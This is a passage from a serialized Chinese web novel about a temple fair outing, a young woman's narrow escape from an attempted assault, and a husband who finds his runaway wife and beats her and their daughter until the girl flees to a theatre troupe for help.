与此同时,不远处的秋丽原本满心欢喜地期待着在这人山人海的庙会上能够与文孝搭上几句话。然而,令她感到失望的是,自始至终,文孝的注意力似乎完全没有落在她身上。只见文孝要么紧紧牵着孩子们紧跟在唐小雨身后,要么就是小心翼翼地搀扶着身怀六甲的唐小雨,生怕她有个闪失。秋丽将这一切尽收眼底,心中不由得升起一丝气恼。 站在秋丽身旁的王大娘眼尖心细,很快就察觉到了秋丽脸色的异样,关切地询问道:“闺女,你这是咋啦?是不是身体哪儿不舒服呀?” 秋丽眼珠一转,顺势装出一副痛苦的模样,捂着肚子呻吟道:“哎哟喂,干娘,我这肚子不知道为啥突然疼得厉害呢!” 这话一出,所有人纷纷投来疑惑的目光,大家面面相觑。王大娘更是焦急万分,嘴里念叨着:“这好端端的,刚刚还好好的呢,怎么一下子就肚子疼起来了哟!” 文孝微微皱起眉头,若有所思地说道:“兴许坐下来好好休息一会儿就能好啦!” 一旁的王大娘听后连连点头,表示赞同道:“可不是嘛,正好我这把老骨头也想歇一歇喽!” 第89章 包子 这时,文孝突然指着前方不远处,兴奋地对王大娘说:“干娘您瞧,前边儿好像是唱大戏的呢!要不我扶你去那儿坐会儿吧?”说着便伸手搀扶着王大娘往那个方向走去。 走了两步,王大娘有些不放心秋丽,又回过头来望向秋丽,文孝道:“秋丽要是感觉好点儿了,肯定会过来找我们的。这里离得不远,也就那么几步路而已,我们能看得见她的,干娘你就放心吧。” 于是乎,文孝扶着王大娘,秀兰牵着唐小雨,一路人都兴致勃勃地凑到人群中去观看精彩绝伦的大戏去了。 而可怜的秋丽,则独自一人孤零零地坐在冰冷刺骨的路边,任凭寒风吹拂着自己单薄的身躯。她越想越气,心里暗暗嘀咕道:本想着撒个小谎能博得一下文孝大哥的同情,谁知道竟然被文孝大哥一眼看穿了!真是倒霉透顶啊! 就在这时,毫无征兆地,不知从哪个角落里突然窜出一个毛头小子。只见他笑嘻嘻地凑到秋丽跟前,嘴里还嚷着:“诶哟喂,以前都没见过这么漂亮的姑娘,一个人出来逛这庙会呀?” 秋丽闻声转头看去,目光恰好与文孝交汇在一起。原来,文孝一直都放心不下她,哪怕此刻周围人声鼎沸、熙熙攘攘,但他的视线仍时不时地投向秋丽所在之处。 秋丽眼珠一转,心中顿时生出一计。她故意装出一副和那陌生小子相谈甚欢的模样,娇声回应道:“可不是嘛,我就是一个人出来闲逛的!” 那小子一听,脸上的笑容愈发灿烂起来,忙不迭地指着远处说道:“哎呀,姑娘您有所不知,那边正在表演精彩绝伦的杂耍呢!不如就让哥哥我带您过去瞧瞧吧!” 秋丽一边偷瞄着文孝,一边抿嘴轻笑,应声道:“好哇,正巧我也正想去看看呢!”说着,她竟大大方方地将自己白皙柔嫩的手伸向了眼前这个陌生人。 那小子见状,喜不自禁,赶忙伸手紧紧握住秋丽的手,双手不停的在秋丽的手上来回的摸着,不由分说地拉起她就朝旁边的一条狭窄胡同里快步走去。 秋丽被他这么用力一拽,身不由己地跟着往前踉跄了几步。然而,即便如此,她那双灵动的大眼睛依旧牢牢锁定在文孝身上。此时此刻,她满心期待地想着,文孝见此情景,必定不会坐视不管,一定会毫不犹豫地冲过来找自己的! 她假装顺从地跟着那个人缓缓前行,脚步略显拖沓。走了一小段路后,秋丽故意放慢速度停了下来。她回头张望,满心期待能看到文孝跟上来,但令她失望的是,身后的街道空空如也,根本没有文孝的身影。 秋丽心中一紧,一种不安的情绪瞬间涌上心头。她猛地用力甩开那人紧紧握住的手,大声说道:“我要走了,若是我的朋友找不到我,他们会非常着急的!” 然而,那人听到这话之后,脸色骤然一变,原本温和的笑容消失得无影无踪,取而代之的是一副狰狞可怖的面容。 他恶狠狠地盯着秋丽,怒吼道:“朋友?你刚刚可不是这么说的!你明明告诉我你是一个人出来的。别害怕嘛,小姑娘,只要你乖乖听哥哥的话,把哥哥我伺候好了,哥哥绝对不会亏待你的,一定能让你过上吃香喝辣、衣食无忧的生活!” 秋丽被吓得浑身一颤,不由自主地向后退了几步,声音颤抖着喊道:“你别过来,我现在就要回去了!” 可那男人哪里肯轻易让她走,只见他再次向前一步,伸手抓住秋丽的胳膊,嘴里还不干不净地囔着:“本来我还想着把你带回家里慢慢玩呢,既然你非要在这大街上,那我也不介意就在这儿试试滋味儿!” 秋丽惊恐万分,一边拼命挣扎躲避对方伸来的魔爪,一边怒声呵斥道:“你这个无耻的流氓,快放开我!” “哈哈,小美人儿,你就从了我吧!放心,等咱俩事成之后,我一定会对你负责到底的。到时候我就亲自上门去你家提亲,娶你过门做老婆!”那男人愈发肆无忌惮起来,言语间充满了轻薄与调戏之意。 就在这时,只听得一声沉闷的响声传来,紧接着那个嚣张跋扈的男人竟然毫无征兆地直挺挺地倒在了地上。秋丽惊讶地瞪大眼睛看去,发现站在那人身后的居然是云义!原来,关键时刻正是云义手持一根木棍,趁其不备给了这家伙狠狠一击。 秋丽手忙脚乱地整理着那因刚才的拉扯而略显凌乱不堪的衣服,她的脸上满是惊慌失措之色,嘴里喃喃道:“怎么会是你……谢谢你!”说话间,声音都带着一丝颤抖。 云义一脸怒容地看着秋丽,急匆匆地说道:“还好我赶来的及时,要不然真不知道会发生什么事!你说你,怎么能跟着这种人跑到这么偏僻的胡同里来呢!”他的语气中充满了责备与关切。 然而,秋丽只是默默地擦去眼角的泪水,对云义的话充耳不闻。她转过身去,脚步踉跄地跑开了,仿佛身后有什么可怕的东西在追赶一般。 秋丽一边奔跑,心中一边暗自悲伤不已。刚刚那个人试图牵走她的时候,文孝就在不远处,可他却眼睁睁地看着,始终没有过来帮忙。一想到这里,秋丽的心就像被针扎一样刺痛,委屈和失望的情绪瞬间涌上心头。 不多时,秋丽便气喘吁吁地跑到了王大娘身旁。只见她满脸泪痕,眼神黯淡无光,宛如一只受伤的小鹿。秋丽拉住王大娘的衣角,哽咽着说道:“干娘,我想要回家......” 王大娘见状,顿时慌了神,连忙问道:“哎呀,好孩子,这到底是咋回事啊?怎么突然之间就变得这般不开心啦?是不是怪我们没叫你一起过来看戏呀?”说着,王大娘伸出手轻轻地抚摸着秋丽的头发,试图安抚她激动的情绪。 秋丽缓缓地摇了摇头,抽噎着回答道:“不是的,干娘,我没有怪你们。我只是今天走得太累了,身体有些吃不消,所以想先回去歇息歇息......”尽管嘴上这么说,但她眼中的哀伤却是无论如何也掩饰不住的。 王大娘微笑着说道:“好吧,那咱们就先回去咯,我这把老骨头啊,年纪大啦,实在是有些乏累,也想回去好好歇息歇息了!”她一边说着,一边用手轻轻捶打着自己的腰。 唐小雨连忙走上前搀扶住王大娘,亲切地回应道:“干娘,要不然我们也一同陪着您一块儿回去好了!” 就在这时,文孝却突然伸手将唐小雨一把拉到了身边,急切地说道:“不行不行,我还有好多东西都没有买完呢!” 唐小雨被他这么一拽,脸上露出一丝疑惑之色,不解地问道:“你要买些什么东西嘛?怎么刚才都没听你提起过?” 一旁的杏花见状,笑着摆了摆手,说道:“好啦好啦,既然文孝还有事情要办,那我也就一起先回去了,你们这些年轻人慢慢逛着吧!”说完,她便与王大娘结伴朝着家的方向走去。 而此时的云义正独自一人漫步在街边的小摊之间。忽然,他的目光被一支天蓝色的发簪吸引住了。只见那发簪造型别致、清新夺目,散发着一种独特的魅力。云义心想:这般漂亮的发簪,若是送给嫂子,她定然会十分欢喜的。于是,他毫不犹豫地掏出钱来买下了这支发簪,并小心翼翼地将其揣进了兜里。 时间过得飞快,不知不觉间,几个人已经在集市上逛了许久,这才缓缓踏上归家之路。 当他们终于回到家中时,唐小雨一屁股坐在椅子上,然后转头看向文孝,埋怨道:“你之前不是说有东西要买么?结果到头来,怎么连一样东西都没瞧见你买回来呀!” 文孝神秘兮兮地把手伸进怀中,仿佛藏着什么宝贝似的。只见他小心翼翼地掏出一个用纸精心包裹着的东西,然后满脸笑意地递到了小雨面前。 小雨满心好奇地接过纸包,轻轻拆开。当她看到里面装着的竟然是一块块散发着诱人香气的桂花糕时,眼睛顿时亮了起来,惊喜地叫道:“哇,桂花糕!你什么时候买的呀,我怎么一点都不知道呢?” 文孝看着小雨开心的模样,脸上洋溢着宠溺的笑容,轻声说道:“我就知道你最爱吃这个啦,所以刚才趁着看戏的时候,我偷偷跑去买的。买回来后就一直小心地揣在怀里呢!” 唐小雨听了这话,小嘴一撅,嗔怪道:“哼,那你怎么不早点拿给我呀!” 文孝嘿嘿一笑,挠了挠头解释说:“这可是专门买给你吃的,如果太早拿出来,说不定早就被你分完了。” 唐小雨白了他一眼,没好气儿地说:“哎呀,你真小气,不过就是一点儿糕点嘛,至于这么舍不得吗?” 文孝连忙摆手,一脸认真地反驳道:“这哪能只是一块儿普通的糕点呀,这里面满满的都是我对你的心意呢!”说完,他深情地凝视着小雨,眼中满是温柔与爱意。 李安硕这边,一家四口有说有笑地朝着自家门口走去。当他们刚刚走到家门口时,便看到一个熟悉的身影正斜靠着大门。此人正是李万原。 见到他们归来,原本有些懒散地靠坐在地上的李万原立马直起身子,脸上露出一丝笑意说道:“哎呀,我可在这里等了你们老半天啦,咋这么晚才回来呢?” 李安硕微微皱了皱眉,回应道:“找我们有啥事儿?”语气中透露出些许不耐烦。 李万原嘿嘿一笑,挠了挠头说:“没啥事儿就不能来找你们啦?快,家里有没有啥好吃的,给我弄点儿填填肚子呗!”说着还舔了舔嘴唇,一副馋相。 一旁的郭美娟看了一眼李万原,眼中闪过一丝厌恶之色,压根儿不想理会他,直接伸手打开门,自顾自地走进屋里去了。 李安硕见状无奈地摇了摇头,然后从随身携带的布包里掏出两个从集市上还没来得及吃完的包子,随手丢到了李万原,同时略带责备地说道:“瞅瞅你现在这样子,连美娟都懒得搭理你!” 李万原赶忙拿起包子,也顾不得别的,张嘴就狠狠地咬了一大口。然而就在包子入口的瞬间,他突然觉得味道有点不对劲。 这包子的味道似乎似曾相识,他一边咀嚼着嘴里的食物,一边努力思索着。猛然间,他想起来了,这包子的味道和何芊菊包的简直一模一样啊! 李万原嘴里塞得满满当当全是包子,腮帮子鼓起来像只松鼠一样,他一边咀嚼着,一边双眼放光地紧紧盯着面前的李安硕,那模样仿佛生怕眼前的人会瞬间消失一般。 李安硕看着狼吞虎咽的李万原,忍不住笑着说道:“哎呀,你慢点儿吃嘛,这些包子都是你的,又没有人要和你抢!”然而,李安硕话音未落,就只见李万原突然伸出一只油腻腻的手,一把死死地抓住了李安硕的手腕。 李万原瞪大了眼睛,眼神中透露出一股急切与渴望,声音因为口中塞满食物而变得含糊不清,但还是能够听出他话语中的焦急:“你快告诉我,何芊菊到底在哪里?你们是不是已经见过面了?” 面对李万原突如其来的质问,李安硕一脸茫然,他皱起眉头,疑惑地反问道:“你这是在说些什么呀?我怎么一点儿都听不懂?” 此时的李万原似乎根本没有听到李安硕的回答,他依旧自顾自地念叨着:“这包子,包子......” 李安硕见状,以为李万原是在称赞包子美味,便连忙附和道:“是,这包子确实很好吃,对吧?” 可是没想到,李万原却直直地盯着李安硕,问道:“这包子是不是何芊菊送给你的?你赶快说实话!” 李安硕被李万原这副样子吓了一跳,心中不禁有些恼火,没好气地回应道:“真是莫名其妙啊你!我好心好意拿包子给你吃,你倒好,不仅不领情,还在这里胡言乱语,简直就是神智不清了!” 李万原瞪大了眼睛,激动地说道:“这包子绝对是我媳妇儿亲手做的!这味道简直和她之前做的一模一样!那你快跟我说实话,到底是从哪儿买到的这些包子?”他紧紧抓住李安硕的胳膊,焦急地追问着。 李安硕面露难色,犹豫了一下才开口道:“这不是我买的呀,其实......”说到这里,他像是突然想起了什么重要的事情,停顿了片刻后接着说道:“我当时确实看到了一个身影特别像何芊菊,但你表妹说不是,还使劲儿拽着我就走了!” 李万原听后,情绪愈发激动起来,双手不停地颤抖着,喃喃自语道:“一定是她,肯定不会错的!一定是她!快告诉我你们在哪儿见到她的,我现在就要去找她们!”他的眼神充满了急切与渴望。 李安硕见状,赶忙回答道:“就在咱们县城西大街那边的胡同里!不过,你先别着急,说不定只是个巧合呢。” 然而此时的李万原哪里听得进去,他松开李安硕的胳膊,转身就要往外跑! 李安硕皱起眉头说道:“这天眼看就要黑透了,这大晚上的,你就算现在去找又能去哪儿寻呢?倒不如明儿个天亮了再去,也方便些不是吗?” 然而,李万原却仿若未闻一般,甚至连头也没有回一下,毅然决然地转过身来,迈开双腿就朝着县城的西大街狂奔而去,那速度快得犹如一阵疾风,眨眼间便消失在了夜幕之中。 望着李万原远去的背影,李安硕无奈地摇了摇头,然后转身缓缓走进了屋子里。 另一边,李万原一路疾行,终于抵达了县城。此时夜色已深,整个县城都沉浸在一片静谧之中,只有几盏稀稀落落的路灯散发着昏黄的光。无处可去的李万原只好在一个偏僻的角落里蜷缩起来,勉强凑合着度过了这漫长的一夜。 次日清晨,天才刚刚泛起鱼肚白,李万原就迫不及待地起身开始四处寻找线索。他漫无目的地在大街小巷中转悠着,每经过一条巷子都会停下脚步,瞪大双眼,仔仔细细地将四周打量一番,不放过任何一个可能藏有线索的角落。就在这时,他的肚子忽然传来一阵“咕噜噜”的叫声,原来是饿了许久的肠胃在抗议了。正当他寻思着去哪里找点吃的填填肚子时,一股诱人的香气扑鼻而来。顺着香气飘来的方向望去,只见不远处有条狭窄的巷子,于是他不由自主地迈步走了进去。 走着走着,突然一个娇小的身影如同一道闪电般从旁边的岔路口冲了出来,直直地撞向了李万原。猝不及防之下,两人结结实实地撞在了一起,李万原一个趔趄差点摔倒在地。他心中顿时涌起一股无名之火,刚想要发作,却见那个小姑娘根本顾不上跟他道歉,而是跑向不远处,紧紧拉住一个妇人的手,神色焦急地喊道:“娘,不好啦!胡叔叔被人给打了!” “哎呀,这到底是咋回事呀?怎么会被人给打啦?伤得严不严重呐?”说话之人满脸焦急地询问道。 小女孩紧接着回答道:“瞧那模样似乎挺严重的呢,我刚刚看到他的时候,都已经拄着拐杖了!” 原来呀,这次被打的不是别人,正是胡良全。而将这个消息带回来告知其母亲蒋晶晶的,则是她的宝贝女儿蒋依依。 蒋晶晶一听完女儿所说的情况,心下顿时一紧,二话不说拉起蒋依依的手便急匆匆地朝着门外奔去。临出门前,她还不忘高声喊了一句:“芊菊妹子,麻烦帮我照看一下馄饨摊子!” 站在一旁的李万原本正竖着耳朵听这边的动静呢,当听到“芊菊”两个字时,心里不禁“咯噔”一下。他暗自琢磨着,这名叫芊菊的女子,会不会就是自家那口子呢?于是乎,他蹑手蹑脚地凑近了一些。 此时正在忙碌着的何芊菊,隐约感觉到好像有人走过来了,但她忙着手头的活,连头都来不及抬起来,只是顺口问道:“您想要来点什么?是包子还是馄饨呀?” 李万原连忙高声应道:“包子!”他那洪亮的嗓音,犹如一道惊雷,在空气中炸裂开来。 这突如其来的声音,把正在忙碌的何芊菊吓了一大跳,她的心猛地一颤,仿佛受惊的小鹿一般。条件反射般地回过头去,当看到是李万原时,脸色瞬间变得有些苍白,转身就要快步离去。 然而,李万原眼疾手快,一个箭步冲上前去,拦住了何芊菊的去路。只见他满脸堆笑,眼中闪烁着狡黠的光芒,涎着脸说道:“媳妇儿,我都想死你啦!这些天没见到你,可把我给饿坏咯!”一边说,一边毫不客气地伸手从屉子里抓起一个热气腾腾的包子,张开大嘴就往里面猛塞起来。 就在这时,店里又来了一位客人。这位客人不紧不慢地走到桌前,放下几枚钱,然后开口说道:“老板,给我来两个包子,再来一碗馄饨。” 何芊菊见状,知道生意不能耽搁,且李万原也没有胡闹,便暂时将李万原抛到了脑后。她轻手轻脚地走到炉灶旁,熟练地操起勺子,开始为那位客人煮了碗馄饨。 李万原狼吞虎咽地吃完一个包子后,抬头瞥见何芊菊正专心致志地煮馄饨,心中不由得一动。他抹了一把嘴角的油渍,大声嚷嚷道:“嘿!别光忙着伺候别人啊,赶紧也给老子来一碗馄饨!” 李万原吃饱之后,打了一个响亮的饱嗝,然后用手抹了抹油腻腻的嘴巴,瞪着一双眼睛看着何芊菊,恶狠狠地说道:“哼!你给我说清楚,你出来的时候身上可没钱啊,是谁这么好心肠,竟然帮你置办了这些卖包子的家当?你最好老老实实交代,别以为我不知道,你是不是背着我做了什么见不得人的勾当!”。 第90章 赵班主的出现 站在一旁的李冬雪一见到凶神恶煞的父亲,吓得脸色苍白如纸,浑身瑟瑟发抖,像一只受惊的小兔子一样,赶紧悄悄地躲到角落里,探出半个脑袋,怯生生地望着眼前发生的一切,连大气都不敢出一口。 何芊菊面对丈夫的质问和威胁,心中虽然充满了委屈,但还是强忍着泪水,低声下气地解释道:“当家的,我真的没有啊!这些东西全都是蒋大姐的,她看我们母女俩太可怜,所以才好心收留了我们。我只是想靠自己的双手挣点小钱,等攒够了钱,也好送冬雪去学堂念书啊!”说着,她不禁抬起头,满怀期望地看向李万原。 李万原听到这里,稍稍收敛了一些怒气,皱起眉头问道:“哦?就是刚才那个出去的女人吗?” 何芊菊连忙点头应道:“嗯嗯,就是她,蒋大姐人可好了,不仅给了我们住的地方,还教我怎么做生意。” 李万原挑了挑眉,语气略带质疑地问道:“哦?这么说,你赚到钱啦?那钱在哪里呢?!”他一边说着,一边伸出手来,眼神急切地盯着何芊菊。 何芊菊犹豫了一下,最终还是缓缓地从口袋里掏出了今天辛苦赚来的那一点点零钱,递给了李万原。 李万原接过那些零散的钞票和硬币,脸色瞬间沉了下来,不满地嘟囔道:“就只有这点儿?光靠这些怎么够生活啊!我李万原的媳妇儿竟然要呆在别人家里,要是被旁人知道了,我这脸可往哪儿搁啊!” 看到何芊菊低着头没有吭声,李万原更是气不打一处来,提高嗓门喊道:“还有那个丫头片子呢?她跑哪里去了?该不会是死在外头了吧!” 听到这话,何芊菊急忙抬起头解释道:“你别瞎说!当时冬雪病的厉害,幸亏遇到了好心的蒋大姐,她及时帮忙找来了大夫,这才让冬雪脱离了危险。” 李万原听后,稍稍松了口气,但依然板着脸说道:“既然孩子已经没事儿了,那你们也没必要留在这里了,赶紧收拾东西跟我一起回家去吧!”说完,他便拉起何芊菊的手。 李万原面色阴沉地紧紧扯住何芊菊纤细的手腕,力气大得仿佛要将她的骨头捏碎一般。何芊菊奋力挣扎着,嘴里焦急地喊道:“哎呀,你别这样,怎么也要等蒋大姐回来才行啊,蒋大姐出门前特意交代过让我帮忙照看着这馄饨摊呢!” 然而,李万原却丝毫不为所动,他恶狠狠地瞪着何芊菊,怒吼道:“少废话!那女人回不回来与我有什么关系?赶紧给老子回家去!” 就在这时,让人意想不到的一幕发生了。只见李冬雪像一只敏捷的小豹子般突然从旁边冲了出来,她用尽全身力气朝着李万原猛地一推。由于毫无防备,李万原一个踉跄,险些狼狈地摔倒在地。 稳住身形后,李万原恼羞成怒地回过头来,指着李冬雪破口大骂:“好你个不知天高地厚的丫头片子,平日里对你太过纵容,今天竟敢对我动手,看我不好好收拾你一顿,让你知道我的厉害!” 说时迟那时快,何芊菊见状赶忙挺身而出,张开双臂拦住了气势汹汹的李万原。可谁知,李万原竟然丧心病狂到连何芊菊也不放过,他扬起手掌,对着何芊菊的脸颊就是狠狠的两巴掌。清脆的巴掌声在空中回荡,打得何芊菊头晕目眩,白皙的脸蛋瞬间浮现出两个鲜红的掌印。打完之后,李万原还怒气冲冲地质问道:“哼,你现在居然敢跟我唱反调了?” 何芊菊用双手紧紧捂住自己的脸,声音带着些许颤抖地说道:“冬雪她还只是一个孩子呀!”就在这时,周围传来一阵嘈杂声,不少好奇的人们纷纷围拢过来,想要看看这里究竟发生了何事。 人群中,只见李万原怒目圆睁,大声吼道:“看什么看?都给老子滚到一边儿去!”他那凶狠的表情和粗暴的话语,犹如一头被激怒的野兽,令人心生畏惧。众人见状,只得缓缓散开,但仍有人不时回头张望,窃窃私语着。 何芊菊抬起头,目光哀求地望着李万原,轻声说道:“我可以跟你回去,但能不能等蒋大姐回来之后,让我向她交代两句再走呢?”然而,李万原却丝毫不为所动,他突然一屁股坐到地上,耍赖似的喊道:“行啊,既然这样,那不如我也干脆住在这儿算了!反正你们得养着我,如果你的那位蒋大姐不介意的话,我们大可以挤在一起睡嘛!哈哈哈哈哈……”说完,他竟放肆地大笑起来。 只见何芊菊那娇美的面容瞬间涨得通红,她瞪大了那双眼睛,气愤地说道:“你怎么能说出这种话来!简直太过分了!!” 李万原像是发了狂一般,双眼通红,嘴里还不停地骂着脏话,他猛地冲过去,用力一推,将那个小小的馄饨摊瞬间掀翻在地。碗碟破碎的声音清脆而刺耳,汤汁和馄饨四处飞溅。紧接着,他如同一只凶狠的野兽,伸出粗壮的大手,一把死死地扯住何芊菊的头发,用力地往后拖拽。 就在这时,一个娇小的身影如闪电般飞奔而来,正是李冬雪。只见她毫不犹豫地扑向李万原,紧紧抱住他的大腿,哭喊道:“你放开我娘!你这个坏爹爹,我再也不想要你了!” 然而,李万原却丝毫没有心软,他抬起脚,狠狠地朝着李冬雪踢去。只听一声闷响,李冬雪像一个破旧的布娃娃一样,被踢出了两米多远,重重地摔倒在地上。 何芊菊看到这一幕,心如刀绞,她挣扎着想要爬起来去扶自己的女儿,可是李万原扯住她头发的手太过用力,每动一下都让她感到头皮仿佛要被撕裂开来一般钻心的疼痛,使得她根本无法靠近冬雪半步。 李万原并没有就此罢休,他大踏步走到倒在地上的冬雪面前,再次伸出那满是老茧的手掌,一下子揪住了冬雪的衣领,恶狠狠地说道:“哼!等老子回到家,第一个就先把你这个小赔钱货卖掉!” 周围聚集了越来越多的人,他们目瞪口呆地看着眼前发生的一切,却没有人敢贸然上前阻止。有的人面露惊恐之色,有的则交头接耳窃窃私语,但始终没有一个人有勇气站出来替母女俩说句话或者帮个忙。 李万原气势汹汹地吼道:“都给老子让让!一个个像没见过世面似的,瞎瞅啥呢!没瞧见我正在教训自家的婆娘和娃子嘛!”他那凶神恶煞般的模样,着实让人有些害怕。 众人面面相觑,虽然心中对这一幕感到有些不忍,但毕竟是别人家的家务事,而且又是人家自己的老婆孩子,所以也不好多说什么。说不定这个女人在外面真做了什么见不得人的勾当,才会惹得男人如此动怒。 只见李万原一只手紧紧揪住何芊菊的头发,另一只手则用力扯住冬雪的衣领,仿佛要将她们生吞活剥一般。随后,他猛地一转身,就打算带着两人朝家里走去。 就在这时,何芊菊突然开口哀求道:“当家的,我还有钱还放在屋里头呢!要不您先松开冬雪,让她进屋去把钱拿出来啊!” 听到有钱可拿,李万原原本紧绷的脸瞬间缓和了一些。他犹豫片刻后,终于松开了抓着冬雪衣领的手,并恶狠狠地命令道:“快去,赶紧把钱给老子拿过来!要是敢少一分一毫,看我怎么收拾你们娘俩儿!” 冬雪瞪大双眼望着母亲,心中充满了震惊和难以置信。那可是母亲省吃俭用、辛勤劳作积攒了许久的血汗钱啊!每一分每一毫都饱含着母亲无尽的辛劳与付出。然而,就在此时,她竟瞥见母亲正拼命地向她使眼色,眼神中透露出焦急与催促,示意她赶紧拿了钱快跑! 冬雪瞬间明白了母亲的用意。她深知,如果两人跟着父亲回家去,恐怕都会遭受毒打。 想到这里,冬雪毫不犹豫地转身冲进屋内,迅速拿起平时母亲藏在枕头底下的那些钱。 当她踏出房门时,一眼便瞧见李万原正站在那里,伸出一只手,脸上挂着贪婪而狰狞的笑容,满心期待着女儿乖乖地将钱送到他手中。可令他万万没有料到的是,冬雪并没有如他所愿,反而像一支离弦之箭一般,朝着完全相反的方向疾驰而去! 李万原见状,本能地想要拔腿去追赶,但突然意识到自己的手中还紧紧揪住何芊菊的头发。他气急败坏地用力拍了拍手,然后恶狠狠地揪起何芊菊的衣领,咬牙切齿地吼道:“哼,别以为这小丫头片子跑得掉!只要有你这个贱人在,我就不信她不乖乖回来!等她胆敢踏进家门一步,看我怎么收拾她,到时候可有你们好受的!” 说完,他使劲一推,将何芊菊重重摔倒在地,随后,李万原猛地一把扯住何芊菊纤细的胳膊,同时怒声喝道:“走,跟我回家去!” 然而,何芊菊却像是被定在了原地一样,纹丝不动,只是一脸凄苦地摇着头说道:“她不会回来的!” 听到这话,李万原瞪大了眼睛,满脸的难以置信,他提高音量吼道:“她会舍得丢下你?我才不信呢!”说罢,便用力拽着何芊菊强行带她离开。 而另一边,李冬雪紧紧地揣着母亲留下的那一点点可怜的积蓄,像一只受惊的小鹿般,拼尽全力地向前奔跑着。她小小的身躯因为恐惧和疲惫而微微颤抖,但脚步却不敢有丝毫停歇,心中只有一个念头——自己千万不能被追上! 就这样,李冬雪一路狂奔,直到跑得气喘吁吁、汗流浃背,她也全然不顾。渐渐地,她发现周围的环境变得陌生起来,不知道自己究竟跑到了哪里。不过,此时她已经无暇顾及这些,因为眼前出现的一幕吸引了她全部的注意力。 只见这附近人山人海,喧闹异常,人们里三层外三层地围拢在一起,正兴高采烈地观看着一场精彩绝伦的大戏。戏台上,两名武生身姿矫健、动作行云流水,一招一式间尽显潇洒之态,引得台下观众阵阵喝彩。 年幼的冬雪望着热闹非凡的场景,一时间有些恍惚。但很快,她就回过神来,鬼使神差般地朝着后台走去。当她来到后台时,正巧看到其中一名武生正换装完毕,正手忙脚乱地准备下一次上场。 冬雪怯生生地走到这名武生面前,用充满希冀的眼神望着他,声音略带颤抖地说道:“我有钱,你能救救我娘吗?”说完,她小心翼翼地从怀里掏出那一叠皱巴巴的钞票,递向武生。 武生听到声音后先是微微一怔,足足愣了一秒钟之后才反应过来,满脸疑惑地开口说道:“这是谁家的孩子呀?怎么会跑到咱们这后台来了呢?”他一边说着,一边上下打量着眼前这个突然出现的小女孩儿。 就在这时,只见一位身着粉色戏服的女子正缓缓地下场走进了后台。这位女子身姿婀娜,面容姣好,举手投足之间都散发出一种优雅的气质。她正是赵家班赫赫有名的台柱子——白露。 白露刚一进来就注意到了站在那里不知所措的冬雪,眼中不禁闪过一丝好奇之色。她迈步走到那名武生身边,轻声问道:“五子,这是你妹妹吗?瞧着长得还挺可爱的呢。” 武生闻言连忙摇了摇头,苦笑着回答道:“白露姐,您可别开玩笑了。我从小就是个孤儿,无亲无故的,哪儿来的妹妹呀?”说完,他又扭头看了看冬雪,心里也是纳闷得很,不知道这小姑娘究竟是什么来历。 然而,白露似乎并没有把武生的话当回事儿,反而饶有兴致地回过头去,再次仔细端详起冬雪来。过了一会儿,她嘴角微扬,似笑非笑地打趣道:“哟呵?照我说啊,说不定这小丫头片子是看上你啦!不然怎么会无缘无故地跑到咱们后台来呢?”说罢,她还轻轻地拍了拍武生的肩膀,眼神里满是调侃之意。 五子瞪大了眼睛,恶狠狠地指着面前那个娇小的身影吼道:“快说,你到底是从哪儿冒出来的小屁孩?怎么敢擅自闯进来!”。 一旁的白露见状,连忙走上前来,轻轻拍了拍五子的肩膀,嗔怪地说道:“行了行了,瞧你这副凶神恶煞的样子,可别把人家小姑娘给吓坏了!”接着,她蹲下身子,温柔地拉起小女孩的手,轻声细语地问道:“别怕别怕,小妹妹,来跟姐姐说说,你到这儿来是想做什么呀?” 只见那个名叫冬雪的小女孩“哇”的一声大哭起来,泪水像决堤的洪水般顺着脸颊滑落。她一边抽泣着,一边哽咽着说道:“姐姐,我……我这里还有点钱,求求您行行好,救救我娘吧!要是再没人帮忙,她会被爹爹打死的!呜呜呜……”说到伤心处,冬雪的哭声愈发悲切,小小的身躯也因为恐惧而不停地颤抖着。 白露望着眼前这个可怜巴巴的孩子,心中不禁泛起一阵怜悯之情,但同时又感到有些无奈。她轻轻地摇了摇头,叹了口气对冬雪说道:“孩子啊,不是姐姐不想帮你,只是这件事情我们恐怕也是无能为力啊!” 听到这话,冬雪哭得更厉害了,她紧紧抓住白露的衣角,苦苦哀求道:“求求你们了,大哥哥、大姐姐,我真的已经走投无路了,根本不知道还能找谁帮忙。如果连你们都不肯救我娘亲,那她就真的没活路了!呜呜呜……” 冬雪的哭声吸引来了赵班主的注意。让人意想不到的是,这位赵班主竟然是位女子,只见她身着一袭洁白如雪的衣裳,那流畅的线条恰到好处地勾勒出她婀娜多姿的身材曲线,宛如仙子下凡一般。 此时,一旁的五子匆匆跑去禀报:“班主,不知道从哪儿冒出来个小屁孩,又哭又闹的,搅得大家不得安宁!” 顺着五子所指的方向,赵班主定睛看去,只见不远处有一个年纪尚小的姑娘正跪坐在地上,双手不停地抹着眼角的泪水,哭得那叫一个伤心欲绝、肝肠寸断。 赵班主见此情景,心中不禁一软,连忙快步走上前去,轻轻扶起了冬雪,和声细语地问道:“小姑娘,别害怕,告诉我,你叫什么名字呀?是不是不小心迷路啦?” 听到有人关心自己,冬雪抬起头来,露出一张挂满泪珠的小脸,抽泣着回答道:“我叫冬雪,姐姐,求求您帮帮我吧!我……我娘快要被我爹给打死了!呜呜呜......”说着,冬雪的哭声愈发响亮起来。 赵班主心疼地看着眼前这个可怜的孩子,赶忙取出随身携带的手绢,温柔地替冬雪擦拭掉脸上的泪痕,并安慰她说:“好孩子,别哭了。可是我们不过就是一群以唱戏为生的人罢了,实在没有能力去救你的娘啊!?” 冬雪满脸泪痕地紧紧抓住赵班主的衣角,苦苦哀求道:“刚才我在下面都看到了,那两位哥哥真的好厉害,他们肯定可以救我娘的,姐姐,求求您发发慈悲,救救我娘吧!只要能救下我娘,让我做什么都愿意!” 赵班主嘴角微微上扬,露出一抹淡淡的笑容,但眼神却透着一丝冷漠与精明。她轻轻地拨开冬雪的手,不紧不慢地说道:“小姑娘,先别急着求人。你倒是说说看,我凭什么要帮你这个忙呢?而且就算我今日帮了你,难道明日你和你母亲就能从此高枕无忧、平平安安了吗?” 听到这话,冬雪愣住了,她缓缓地摇着头,一双水汪汪的大眼睛里满是迷茫和无助,显然对赵班主的问题毫无头绪。 